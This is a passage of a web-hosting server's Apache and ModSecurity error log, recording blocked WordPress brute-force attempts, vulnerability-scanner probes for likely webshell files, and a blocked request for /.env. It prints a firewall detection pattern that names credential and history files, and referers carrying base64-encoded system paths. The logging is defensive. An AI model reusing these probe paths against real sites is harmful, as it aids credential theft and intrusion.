57.141.14.31:22280] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:07:07.498215 2026] [access_compat:error] [pid 531155:tid 531250] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://mail.homs.co.ke/?p=L3N5cy9kZXYvYmxvY2svODoxNi9tcQ== [Sat Jun 13 18:07:07.498521 2026] [access_compat:error] [pid 531155:tid 531250] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://mail.homs.co.ke/?p=L3N5cy9kZXYvYmxvY2svODoxNi9tcQ== [Sat Jun 13 18:07:07.523167 2026] [security2:error] [pid 531797:tid 531870] [remote 37.27.234.213:40284] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 213.234.27.37.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "medredisolutions.com"] [uri "/wp-login.php"] [unique_id "ai3wq8TA7b1mZrmcA-8DUwACRwY"], referer: https://medredisolutions.com/wp-login.php [Sat Jun 13 18:07:07.614067 2026] [security2:error] [pid 531155:tid 531377] [client 20.29.78.145:60483] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 145.78.29.20.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "sxo.tcq.mybluehost.me"] [uri "/one.php"] [unique_id "ai3wqymiP80klyS0Nnri6AAAAWY"] [Sat Jun 13 18:07:07.620116 2026] [access_compat:error] [pid 531155:tid 531275] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21pY2Uvc3Vic3lzdGVtL2V2ZW50Mi9zdWJzeXN0ZW0vbW91c2UxL2RldmljZS9kZXZpY2U= [Sat Jun 13 18:07:07.620546 2026] [access_compat:error] [pid 531155:tid 531275] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21pY2Uvc3Vic3lzdGVtL2V2ZW50Mi9zdWJzeXN0ZW0vbW91c2UxL2RldmljZS9kZXZpY2U= [Sat Jun 13 18:07:07.666098 2026] [security2:error] [pid 531797:tid 532024] [client 148.113.209.179:41564] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 179.209.113.148.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai3wq8TA7b1mZrmcA-8DZAAAAjA"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:07:07.674672 2026] [access_compat:error] [pid 531797:tid 531978] [remote 57.141.14.28:25480] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:07:07.674975 2026] [access_compat:error] [pid 531797:tid 531978] [remote 57.141.14.28:25480] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:07:07.681119 2026] [access_compat:error] [pid 531155:tid 531281] [remote 57.141.14.28:25494] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:07:07.681394 2026] [access_compat:error] [pid 531155:tid 531281] [remote 57.141.14.28:25494] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:07:07.736081 2026] [security2:error] [pid 531797:tid 531983] [remote 17.22.237.247:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 247.237.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3wq8TA7b1mZrmcA-8DZgACI3Y"] [Sat Jun 13 18:07:07.795051 2026] [security2:error] [pid 531797:tid 531922] [remote 81.96.58.77:0] ModSecurity: Warning. Pattern match "/(contact(o|.?us)?|wp-comments-post|(send)?.?(form.)?e?mail(er)?|memberlist|send|contact.form(.handler)?|thankyou|leafmailer[0-9.]*)\\\\.php" at REQUEST_URI. [file "/opt/mod_security/hg_rules.conf"] [line "1546"] [id "900923"] [msg "contact form logging"] [hostname "www.torquayfans.com"] [uri "/memberlist.php"] [unique_id "ai3wq8TA7b1mZrmcA-8DawACXzo"], referer: https://www.torquayfans.com [Sat Jun 13 18:07:07.795095 2026] [security2:error] [pid 531797:tid 531922] [remote 81.96.58.77:0] ModSecurity: Access denied with code 409 (phase 2). Match of "eq 1" against "&REQUEST_COOKIES:humans_21909" required. [file "/opt/mod_security/hg_rules.conf"] [line "1552"] [id "900424"] [msg "Transparent Bot Detection for Contact Forms"] [hostname "www.torquayfans.com"] [uri "/memberlist.php"] [unique_id "ai3wq8TA7b1mZrmcA-8DawACXzo"], referer: https://www.torquayfans.com [Sat Jun 13 18:07:07.835495 2026] [security2:error] [pid 531797:tid 532122] [client 191.234.188.123:47994] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 123.188.234.191.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webmail.onemontgomerygreen.org"] [uri "/jp.php"] [unique_id "ai3wq8TA7b1mZrmcA-8DdQAAAo4"] [Sat Jun 13 18:07:07.891659 2026] [security2:error] [pid 531797:tid 531997] [client 148.113.209.179:41572] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 179.209.113.148.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai3wq8TA7b1mZrmcA-8DewAAAhU"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:07:07.990586 2026] [access_compat:error] [pid 531155:tid 531164] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://mail.homs.co.ke/?p=L3N5cy9kZXYvYmxvY2svODoxNi9tcQ== [Sat Jun 13 18:07:07.991013 2026] [access_compat:error] [pid 531155:tid 531164] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://mail.homs.co.ke/?p=L3N5cy9kZXYvYmxvY2svODoxNi9tcQ== [Sat Jun 13 18:07:08.037791 2026] [autoindex:error] [pid 531797:tid 532008] [client 89.251.0.63:53821] AH01276: Cannot serve directory /home3/davidtec/public_html/ExpertAppliance.org/js/: No matching DirectoryIndex (index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.php,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive [Sat Jun 13 18:07:08.064836 2026] [access_compat:error] [pid 531155:tid 531265] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MC9zdWJzeXN0ZW0vaW5wdXQ1L21vdXNlMC9kZXZpY2UvbW91c2UwL3Bvd2Vy [Sat Jun 13 18:07:08.065153 2026] [access_compat:error] [pid 531155:tid 531265] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MC9zdWJzeXN0ZW0vaW5wdXQ1L21vdXNlMC9kZXZpY2UvbW91c2UwL3Bvd2Vy [Sat Jun 13 18:07:08.117331 2026] [security2:error] [pid 531797:tid 532114] [client 148.113.209.179:41576] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 179.209.113.148.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai3wrMTA7b1mZrmcA-8DigAAAoc"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:07:08.330815 2026] [access_compat:error] [pid 531797:tid 531961] [remote 57.141.14.62:60878] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:07:08.331238 2026] [access_compat:error] [pid 531797:tid 531961] [remote 57.141.14.62:60878] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:07:08.342033 2026] [security2:error] [pid 531797:tid 532041] [client 148.113.209.179:41580] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 179.209.113.148.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai3wrMTA7b1mZrmcA-8DmQAAAkA"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:07:08.505109 2026] [access_compat:error] [pid 531155:tid 531242] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://mail.homs.co.ke/?p=L3N5cy9kZXYvYmxvY2svODoxNi9tcQ== [Sat Jun 13 18:07:08.505385 2026] [access_compat:error] [pid 531155:tid 531242] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://mail.homs.co.ke/?p=L3N5cy9kZXYvYmxvY2svODoxNi9tcQ== [Sat Jun 13 18:07:08.562612 2026] [security2:error] [pid 531797:tid 531878] [remote 17.246.19.68:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 68.19.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3wrMTA7b1mZrmcA-8DowACWA4"] [Sat Jun 13 18:07:08.566463 2026] [security2:error] [pid 531797:tid 532111] [client 34.170.189.242:40090] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "bft.lmg.mybluehost.me"] [uri "/.env"] [unique_id "ai3wrMTA7b1mZrmcA-8DpAAAAoQ"] [Sat Jun 13 18:07:08.603424 2026] [access_compat:error] [pid 531155:tid 531183] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Mi9zdWJzeXN0ZW0vbW91c2UwL3N1YnN5c3RlbS9pbnB1dDIvZGV2aWNlL3Bvd2Vy [Sat Jun 13 18:07:08.603775 2026] [access_compat:error] [pid 531155:tid 531183] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Mi9zdWJzeXN0ZW0vbW91c2UwL3N1YnN5c3RlbS9pbnB1dDIvZGV2aWNlL3Bvd2Vy [Sat Jun 13 18:07:08.694866 2026] [security2:error] [pid 531155:tid 531224] [remote 17.22.245.181:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 181.245.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3wrCmiP80klyS0Nnri-wABWEQ"] [Sat Jun 13 18:07:08.752972 2026] [security2:error] [pid 531155:tid 531341] [client 191.234.188.123:63813] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 123.188.234.191.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webmail.onemontgomerygreen.org"] [uri "/class-bda.php"] [unique_id "ai3wrCmiP80klyS0Nnri_gAAAUI"] [Sat Jun 13 18:07:08.883329 2026] [access_compat:error] [pid 531797:tid 531914] [remote 57.141.14.69:57162] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:07:08.883616 2026] [access_compat:error] [pid 531797:tid 531914] [remote 57.141.14.69:57162] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:07:08.947888 2026] [security2:error] [pid 531155:tid 531230] [remote 17.241.75.134:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 134.75.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3wrCmiP80klyS0NnrjAwABRUo"] [Sat Jun 13 18:07:08.980551 2026] [access_compat:error] [pid 531797:tid 531902] [remote 57.141.14.53:21470] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:07:08.980846 2026] [access_compat:error] [pid 531797:tid 531902] [remote 57.141.14.53:21470] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:07:09.037363 2026] [access_compat:error] [pid 531155:tid 531266] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://mail.homs.co.ke/?p=L3N5cy9kZXYvYmxvY2svODoxNi9tcQ== [Sat Jun 13 18:07:09.037671 2026] [access_compat:error] [pid 531155:tid 531266] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://mail.homs.co.ke/?p=L3N5cy9kZXYvYmxvY2svODoxNi9tcQ== [Sat Jun 13 18:07:09.107254 2026] [access_compat:error] [pid 531155:tid 531187] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MC9ldmVudDAvZGV2aWNlL2RldmljZS9zdWJzeXN0ZW0vZGV2aWNlcy9kZXZpY2U6MTI= [Sat Jun 13 18:07:09.107533 2026] [access_compat:error] [pid 531155:tid 531187] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MC9ldmVudDAvZGV2aWNlL2RldmljZS9zdWJzeXN0ZW0vZGV2aWNlcy9kZXZpY2U6MTI= [Sat Jun 13 18:07:09.171973 2026] [security2:error] [pid 531797:tid 532102] [client 148.113.209.179:41594] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 179.209.113.148.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai3wrcTA7b1mZrmcA-8DxQAAAns"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:07:09.242613 2026] [access_compat:error] [pid 531797:tid 531985] [remote 57.141.14.94:55692] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:07:09.242938 2026] [access_compat:error] [pid 531797:tid 531985] [remote 57.141.14.94:55692] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:07:09.269374 2026] [security2:error] [pid 531797:tid 532081] [client 191.233.234.186:53474] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 186.234.233.191.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "kshar.yourkatana.com"] [uri "/asu.php"] [unique_id "ai3wrcTA7b1mZrmcA-8DywAAAmc"] [Sat Jun 13 18:07:09.273341 2026] [access_compat:error] [pid 531797:tid 531979] [remote 216.73.217.87:17554] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:07:09.273626 2026] [access_compat:error] [pid 531797:tid 531979] [remote 216.73.217.87:17554] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:07:09.526961 2026] [access_compat:error] [pid 531155:tid 531202] [remote 57.141.14.54:62025] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:07:09.527259 2026] [access_compat:error] [pid 531155:tid 531202] [remote 57.141.14.54:62025] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:07:09.550702 2026] [access_compat:error] [pid 531155:tid 531232] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://mail.homs.co.ke/?p=L3N5cy9kZXYvYmxvY2svODoxNi9tcQ== [Sat Jun 13 18:07:09.550985 2026] [access_compat:error] [pid 531155:tid 531232] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://mail.homs.co.ke/?p=L3N5cy9kZXYvYmxvY2svODoxNi9tcQ== [Sat Jun 13 18:07:09.554711 2026] [security2:error] [pid 531155:tid 531403] [client 191.233.234.186:29503] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 186.234.233.191.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "autodiscover.worldsolarprous.com"] [uri "/wp-scanner.php"] [unique_id "ai3wrSmiP80klyS0NnrjEwAAAYA"] [Sat Jun 13 18:07:09.584726 2026] [security2:error] [pid 531797:tid 531924] [remote 17.246.15.131:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 131.15.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3wrcTA7b1mZrmcA-8D2QACKDw"] [Sat Jun 13 18:07:09.643169 2026] [access_compat:error] [pid 531155:tid 531269] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MS9zdWJzeXN0ZW0vaW5wdXQ0L3N1YnN5c3RlbS9ldmVudDAvcG93ZXI= [Sat Jun 13 18:07:09.643573 2026] [access_compat:error] [pid 531155:tid 531269] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MS9zdWJzeXN0ZW0vaW5wdXQ0L3N1YnN5c3RlbS9ldmVudDAvcG93ZXI= [Sat Jun 13 18:07:09.665790 2026] [cgid:error] [pid 